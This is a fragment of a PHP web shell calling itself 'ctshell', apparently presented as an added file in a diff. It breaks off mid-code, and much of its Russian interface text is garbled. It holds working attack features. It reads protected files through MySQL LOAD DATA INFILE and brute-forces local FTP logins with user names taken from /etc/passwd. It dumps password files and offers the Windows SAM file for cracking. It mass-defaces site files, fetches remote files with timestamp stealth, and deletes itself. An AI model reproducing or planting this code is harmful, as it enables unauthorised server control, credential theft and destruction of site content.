"<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = 'KILL ' . $kill . ';'; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>��������:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td>STATE</td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + elseif (($sql_act == "getfile")) + { + if (!mysql_create_db("tmp_bd")) {echo mysql_error();} + elseif (!mysql_select_db("tmp_bd")) {echo mysql_error();} + elseif (!mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );')) {echo mysql_error();} + else {mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query); if (!$result) {echo "Error in query \"".$query."\": ".mysql_error();} + else + { +for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} +$f = ""; +while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {foreach ($line as $key =>$col_value) {$f .= $col_value;}} +if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b>";} +else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f));} + } + mysql_free_result($result); + if (!mysql_drop_db("tmp_bd")) {echo ("Can't drop tempory DB \"tmp_bd\"!");} + } + } +} + } + } + echo "</tr></table></table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) {if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}} + echo "<br><br>"; + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if ($win) {echo "This functions not work in Windows!<br><br>";} + else + { + function ctftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { +if ($fqb_onlywithsh) +{ + if (!in_array($sh,array("/bin/bash","/bin/sh","/usr/local/cpanel/bin/jailshell"))) {$true = false;} + else {$true = true;} +} +else {$true = true;} +if ($true) +{ + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } +} + } + if (!empty($submit)) + { +if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} +$fp = fopen("/etc/passwd","r"); +if (!$fp) {echo "Can't get /etc/passwd for password-list.";} +else +{ + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (ctftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { +$success++; + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!<br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br><b>Connects per second: ".round($i/$ftpquick_t,2)."</b><br>"; +} + } + else {echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>";} + } +} +if ($act == "lsa") +{ + echo "<center><b>���������� ������������ �������:</b></center>"; + echo "<b>����������� �����������:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br>"; + echo "<b>������������: ".$hsafemode."</b><br>"; + echo "<b>�������� �������� ��������: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { +if ($nixpasswd == 1) {$nixpasswd = 0;} +$num = $nixpasswd + $nixpwdperpage; +echo "<b>*nix /etc/passwd:</b><br>"; +$i = $nixpasswd; +while ($i < $num) +{ + $uid = posix_getpwuid($i); + if ($uid) {echo join(":",$uid)."<br>";} + $i++; +} + } + else {echo "<br><a href=\"".$sul."act=lsa&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$sul."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$sul."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$sul."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$sul."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=\"green\">�� ������ �������� winnt ������. <a href=\"".$sul."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>�������</b></u></a>, c ������������� lcp.crack+.</font></b><br>";} + } +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else + { + echo "<b>File-System buffer</b><br><br>"; + $ls_arr = $arr; + $disp_fullpath = true; + $act = "ls"; + } +} +if ($act == "selfremove") +{ + if (!empty($submit)) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ctshell v.".$cv."!"; exit; } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + $v = array(); + for($i=0;$i<8;$i++) {$v[] = "<a href=\"".$sul."\"><u><b>NO</b></u></a>";} + $v[] = "<a href=\"#\" onclick=\"if (confirm('Are you sure?')) document.location='".$sul."act=selfremove&submit=1';\"><u>YES</u></a>"; + shuffle($v); + $v = join("&nbsp;&nbsp;&nbsp;",$v); + echo "<b>�����������: ".__FILE__." <br>�� ��������?</b><center>".$v."</center>"; + } +} +if ($act == "massdeface") +{ + if (empty($deface_in)) {$deface_in = $d;} + if (empty($deface_name)) {$deface_name = "(.*)"; $deface_name_regexp = 1;} + if (empty($deface_text_wwo)) {$deface_text_regexp = 0;} + + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + + $text = $deface_text; + $text_regexp = $deface_text_regexp; + if (empty($text)) {$text = " "; $text_regexp = 1;} + + $a = array + ( +"name"=>$deface_name, "name_regexp"=>$deface_name_regexp, +"text"=>$text, "text_regexp"=>$text_regxp, +"text_wwo"=>$deface_text_wwo, +"text_cs"=>$deface_text_cs, +"text_not"=>$deface_text_not + ); + $defacetime = getmicrotime(); + $in = array_unique(explode(";",$deface_in)); + foreach($in as $v) {ctfsearch($v);} + $defacetime = round(getmicrotime()-$defacetime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { +$ls_arr = $found; +$disp_fullpath = true; +$act = $dspact = "ls"; + } + } + else + { + if (empty($deface_preview)) {$deface_preview = 1;} + + } + echo "<form method=\"POST\">"; + if (!$submit) {echo "<big><b>Attention! It's a very dangerous feature, you may lost your data.</b></big><br><br>";} + echo "<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"> +<b>Deface for (file/directory name): </b><input type=\"text\" name=\"deface_name\" size=\"".round(strlen($deface_name)+25)."\" value=\"".htmlspecialchars($deface_name)."\">&nbsp;<input type=\"checkbox\" name=\"deface_name_regexp\" value=\"1\" ".gchds($deface_name_regexp,1," checked")."> - regexp +<br><b>Deface in (explode \";\"): </b><input type=\"text\" name=\"deface_in\" size=\"".round(strlen($deface_in)+25)."\" value=\"".htmlspecialchars($deface_in)."\"> +<br><br><b>Search text:</b><br><textarea name=\"deface_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($deface_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"deface_text_regexp\" value=\"1\" ".gchds($deface_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_wwo\" value=\"1\" ".gchds($deface_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_cs\" value=\"1\" ".gchds($deface_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_not\" value=\"1\" ".gchds($deface_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><input type=\"checkbox\" name=\"deface_preview\" value=\"1\" ".gchds($deface_preview,1," checked")."> - <b>PREVIEW AFFECTED FILES</b> +<br><br><b>Html of deface:</b><br><textarea name=\"deface_html\" cols=\"122\" rows=\"10\">".htmlspecialchars($deface_html)."</textarea> +<br><br><input type=\"submit\" name=\"submit\" value=\"Deface\"></form>"; + if ($act == "ls") {echo "<hr size=\"1\" noshade><b>Deface took ".$defacetime." secs</b><br><br>";} +} +if ($act == "search") +{ + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $a = array + ( +"name"=>$search_name, "name_regexp"=>$search_name_regexp, +"text"=>$search_text, "text_regexp"=>$search_text_regxp, +"text_wwo"=>$search_text_wwo, +"text_cs"=>$search_text_cs, +"text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) + { +ctfsearch($v); + } + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { +$ls_arr = $found; +$disp_fullpath = true; +$act = $dspact = "ls"; + } + } + echo "<form method=\"POST\"> +<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"> +<b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>"; + if ($act == "ls") {echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs</b><br><br>";} +} +if ($act == "chmod") +{ + $perms = fileperms($d.$f); + if (!$perms) {echo "Can't get current mode.";} + elseif ($submit) + { + if (!isset($owner[0])) {$owner[0] = 0;} + if (!isset($owner[1])) {$owner[1] = 0; } + if (!isset($owner[2])) {$owner[2] = 0;} + if (!isset($group[0])) {$group[0] = 0;} + if (!isset($group[1])) {$group[1] = 0;} + if (!isset($group[2])) {$group[2] = 0;} + if (!isset($world[0])) {$world[0] = 0;} + if (!isset($world[1])) {$world[1] = 0;} + if (!isset($world[2])) {$world[2] = 0;} + $sum_owner = $owner[0] + $owner[1] + $owner[2]; + $sum_group = $group[0] + $group[1] + $group[2]; + $sum_world = $world[0] + $world[1] + $world[2]; + $sum_chmod = "0".$sum_owner.$sum_group.$sum_world; + $ret = @chmod($d.$f, $sum_chmod); + if ($ret) {$act = "ls";} + else {echo "<b>��������� ������� ����� (".$d.$f.")</b>: ������<br>";} + } + else + { + echo "<center><b>��������� ������� �����</b><br>"; + $perms = view_perms(fileperms($d.$f)); + $length = strlen($perms); + $owner_r = $owner_w = $owner_x = + $group_r = $group_w = $group_x = + $world_r = $world_w = $group_x = ""; + + if ($perms[1] == "r") {$owner_r = " checked";} if ($perms[2] == "w") {$owner_w = " checked";} + if ($perms[3] == "x") {$owner_x = " checked";} if ($perms[4] == "r") {$group_r = " checked";} + if ($perms[5] == "w") {$group_w = " checked";} if ($perms[6] == "x") {$group_x = " checked";} + if ($perms[7] == "r") {$world_r = " checked";} if ($perms[8] == "w") {$world_w = " checked";} + if ($perms[9] == "x") {$world_x = " checked";} + echo "<form method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value='".htmlspecialchars($f)."'> +<input type=hidden name=act value=chmod><input type=hidden name=submit value=1><input type=hidden name='owner[3]' value=no_error> +<input type=hidden name='group[3]' value=no_error><input type=hidden name='world[3]' value=no_error> +<table class=table1><tr><td class=td2><table class=table1 align=center width=300 border=0 cellspacing=0 cellpadding=5><tr><td class=td2><b>Owner</b><br><br> +<input type=checkbox NAME=owner[0] value=4".$owner_r.">Read<br><input type=checkbox NAME=owner[1] value=2".$owner_w.">Write<br> +<input type=checkbox NAME=owner[2] value=1".$owner_x.">Execute</font></td><td class=td2><b>Group</b><br><br> +<input type=checkbox NAME=group[0] value=4".$group_r.">Read<br> +<input type=checkbox NAME=group[1] value=2".$group_w.">Write<br> +<input type=checkbox NAME=group[2] value=1".$group_x.">Execute</font></td> +<td class=td2><b>World</b><br><br><input type=checkbox NAME=world[0] value=4".$world_r.">Read<br> +<input type=checkbox NAME=world[1] value=2".$world_w.">Write<br> +<input type=checkbox NAME=world[2] value=1".$world_x.">Execute</font></td> +</tr></table></td></tr><tr align=center><td><input type=submit name=chmod value=\"���������\"></td></tr></table></FORM></center>"; + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\","/",$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,strlen($uploadpath)-1,1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile[tmp_name])) + { +if (empty($uploadfilename)) {$destin = $uploadfile[name];} +else {$destin = $userfilename;} +if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= "������, ����������� ���� ".$uploadfile[name]." (�� ����� ����������� \"".$uploadfile[tmp_name]."\" �� \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { +if (!empty($uploadfilename)) {$destin = $uploadfilename;} +else +{ + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} +} +if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} +else +{ + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "�� ����� ��������� ����!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "������, ������� ����� ".htmlspecialchars($destin)."!<br>";} + else + { +fwrite($fp,$content,strlen($content)); +fclose($fp); +if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } +} + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>�������� �����:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$sul."act=upload&d=".urlencode($d)."\" method=\"POST\"> +��������� ����: <br><input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;���<br> +��������� �� URL: <br><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +��������� ���� ����� � �����: <br><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +��� �����: <br><input name=uploadfilename size=25> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;�������������� ��� �����<br><br> +<input type=\"submit\" name=\"submit\" value=\"���������\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "�� ����� ������� ".htmlspecialchars($v)."<br>";} + if (!empty($delerr)) {echo "<b>�������� � ��������:</b><br>".$delerr;} + } + $act = "ls"; +} +if ($act == "onedelete") +{ + $delerr = ""; + $result = false; + $result = fs_rmobj($f); + if (!$result) {$delerr .= "�� ����� ������� ".htmlspecialchars($f)."<br>";} + if (!empty($delerr)) {echo "<b>�������� � ��������:</b><br>".$delerr;} + $act = "ls"; +} +if ($act == "onedeleted") +{ + $delerr = ""; + $result = false; + $result = fs_rmobj($d+'/'+$f); + if (!$result) {$delerr .= "�� ����� ������� ".htmlspecialchars($f)."<br>";} + if (!empty($delerr)) {echo "<b>�������� � ��������:</b><br>".$delerr;} + $act = "ls"; +} +if ($act == "deface") +{ + $deferr = ""; + foreach ($actbox as $v) + { + $data = $deface_html; + if (eregi("%%%filedata%%%",$data)) {$data = str_replace("%%%filedata%%%",file_get_contents($v),$data);} + $data = str_replace("%%%filename%%%",basename($v),$data); + $data = str_replace("%%%filepath%%%",$v,$data); + $fp = @fopen($v,"w"); + fwrite($fp,$data); + fclose($fp); + if (!$result) {$deferr .= "Can't deface ".htmlspecialchars($v)."<br>";} + if (!empty($delerr)) {echo "<b>Defacing with errors:</b><br>".$deferr;} + } +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"USEFSBUFF\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ct_sess_put($sess_data); $act = "ls";} + if ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ct_sess_put($sess_data); $act = "ls";} + if ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} $ls_arr = array_merge($sess_data["copy"],$sess_data["cut"]); ct_sess_put($sess_data); $act = "ls";} + + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ct_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { +$to = $d.basename($v); +if (!fs_copy_obj($v,$d)) {$psterr .= "�� ����� ����������� ".$v." to ".$to."!<br>";} +if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { +$to = $d.basename($v); +if (!fs_move_obj($v,$d)) {$psterr .= "�� ����� ������������� ".$v." to ".$to."!<br>";} +unset($sess_data["cut"][$k]); + } + ct_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>������������ � ��������:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + + if ($ext == ".tar.gz") + { +$cmdline = "tar cfzv"; + } + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { +$v = str_replace("\\","/",$v); +if (is_dir($v)) +{ + if (substr($v,strlen($v)-1,strlen($v)) != "/") {$v .= "/";} + $v .= "*"; +} +$cmdline .= " ".$v; + } + $ret = `$cmdline`; + if (empty($ret)) {$arcerr .= "�� ����� ������� archivator!<br>";} + $ret = str_replace("\r\n","\n"); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { +if (in_array($v,$ret)) {fs_rmobj($v);} +unset($sess_data["cut"][$k]); + } + ct_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { +$to = $d.basename($v); +if (!fs_copy_obj($v,$d)) {$psterr .= "�� ����� ����������� ".$v." to ".$to."!<br>";} +if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { +$to = $d.basename($v); +if (!fs_move_obj($v,$d)) {$psterr .= "�� ����� ������������� ".$v." to ".$to."!<br>";} +unset($sess_data["cut"][$k]); + } + ct_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>������������ � ��������:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { +while ($o = readdir($h)) {$list[] = $d.$o;} +closedir($h); + } + } + if (count($list) == 0) {echo "<center><b>�� ����� ������� ���������� (".htmlspecialchars($d).")!</b></center>";} + else + { + $tab = array(); + $amount = count($ld)+count($lf); + $vd = "f"; + if ($vd == "f") + { +$row = array(); +$row[] = "<b><center>���</b>"; +$row[] = "<b><center>������</center></b>"; +$row[] = "<b><center>�������</center></b>"; +if (!$win) + {$row[] = "<b><center>��������/������</center></b>";} +$row[] = "<b><center>�����</center></b>"; +$row[] = "<b><center>�������</center></b>"; + +$k = $sort[0]; +if ((!is_numeric($k)) or ($k > count($row)-2)) {$k = 0;} +if (empty($sort[1])) {$sort[1] = "d";} +if ($sort[1] != "a") +{ + $y = "<a href=\"".$sul."act=".$dspact."&d=".urlencode($d)."&sort=".$k."a\"><img src=\"".$sul."act=img&img=sort_desc\" border=\"0\"></a></center>"; +} +else +{ + $y = "<a href=\"".$sul."act=".$dspact."&d=".urlencode($d)."&sort=".$k."d\"><img src=\"".$sul."act=img&img=sort_asc\" border=\"0\"></a></center>"; +} + +$row[$k] .= $y; +for($i=0;$i<count($row)-1;$i++) +{ + if ($i != $k) {$row[$i] = "<a href=\"".$sul."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";} +} + +$tab = array(); +$tab[cols] = array($row); +$tab[head] = array(); +$tab[dirs] = array(); +$tab[links] = array(); +$tab[files] = array(); + +foreach ($list as $v) +{ + $o = basename($v); + $dir = dirname($v); + + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + + $row = array(); + +if (is_dir($v)) + { + if (is_link($v)) {$disppath .= " => ".readlink($v); $type = "LINK";} + else {$type = "DIR";} + $row[] = "<a href=\"".$sul."act=ls&d=".$uv."&sort=".$sort."\"> <img src=\"".$sul."act=img&img=small_dir\" height=\"16\" width=\"16\" border=\"0\">&nbsp; ".$disppath."</a>"; + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<a href=\"".$sul."act=f&f=".$uo."&d=".$ud."&\"><img src=\"".$sul."act=img&img=ext_".$ext."\" height=\"16\" width=\"16\" border=\"0\">&nbsp; ".$disppath."</a>"; + $row[] = view_size(filesize($v)); + } + $row[] = "<center>".date("d.m.Y H:i:s",filemtime($v))."</center>"; + + if (!$win) + { + $ow = @posix_getpwuid(fileowner($v)); + $gr = @posix_getgrgid(filegroup($v)); + $row[] = "<center>".$ow["name"]."/".$gr["name"]."</center>"; + } + + if (is_writable($v)) {$row[] = "<a href=\"".$sul."act=chmod&f=".$uo."&d=".$ud."\">".view_perms(fileperms($v))."</a>";} + else {$row[] = "<a href=\"".$sul."act=chmod&f=".$uo."&d=".$ud."\"><font color=\"red\">".view_perms(fileperms($v))."</font></a>";} + + if (is_dir($v)) {$row[] = "&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">&nbsp;<a href=\"".$sul."act=onedeleted&f=".$uo."&d=".$ud."\"><img src=\"".$sul."act=img&img=odel\" title=\"Delete\" height=\"16\" width=\"19\" border=\"0\"></a>";} + else {$row[] = "&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">&nbsp;<a href=\"".$sul."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$sul."act=img&img=change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$sul."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$sul."act=img&img=download\" title=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$sul."act=onedelete&f=".$uo."&d=".$ud."\"><img src=\"".$sul."act=img&img=odel\" title=\"Delete\" height=\"16\" width=\"19\" border=\"0\"></a>";} + + if (($o == ".") or ($o == "..")) {$tab[head][] = $row;} + elseif (is_link($v)) {$tab[links][] = $row;} + elseif (is_dir($v)) {$tab[dirs][] = $row;} + elseif (is_file($v)) {$tab[files][] = $row;} +} + } + $v = $sort[0]; + function tabsort($a, $b) + { +global $v; +return strnatcasecmp(strip_tags($a[$v]), strip_tags($b[$v])); + } + usort($tab[dirs], "tabsort"); + usort($tab[files], "tabsort"); + if ($sort[1] == "a") + { +$tab[dirs] = array_reverse($tab[dirs]); +$tab[files] = array_reverse($tab[files]); + } + $table = array_merge($tab[cols],$tab[head],$tab[dirs],$tab[links],$tab[files]); + echo "<TABLE class=table1 cellSpacing=0 cellPadding=0 width=100% border=0> +<form method=\"POST\">"; +$smsn=0; + foreach($table as $row) + { +$smsn++; + if ($smsn!=2 && $smsn!=3) { +echo "<tr>\r\n"; +foreach($row as $v) {echo "<td class=tds1 bgcolor=#242424>".$v."</td>\r\n";} +echo "</tr>\r\n"; +} + + } + echo "</table><TABLE height=1% class=table2 cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0> +<tr class=tr2> +<td width=8% height=1%><font size=2 color=#000000> +�����: ".(count($tab[dirs])+count($tab[links]))."</font></td> +<td width=8% height=1%><font size=2 color=#000000> �����: ".count($tab[files])."</font></td><td height=1% vAlign=top align=right>"; +if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { +echo "<input type=\"submit\" name=\"actarcbuff\" 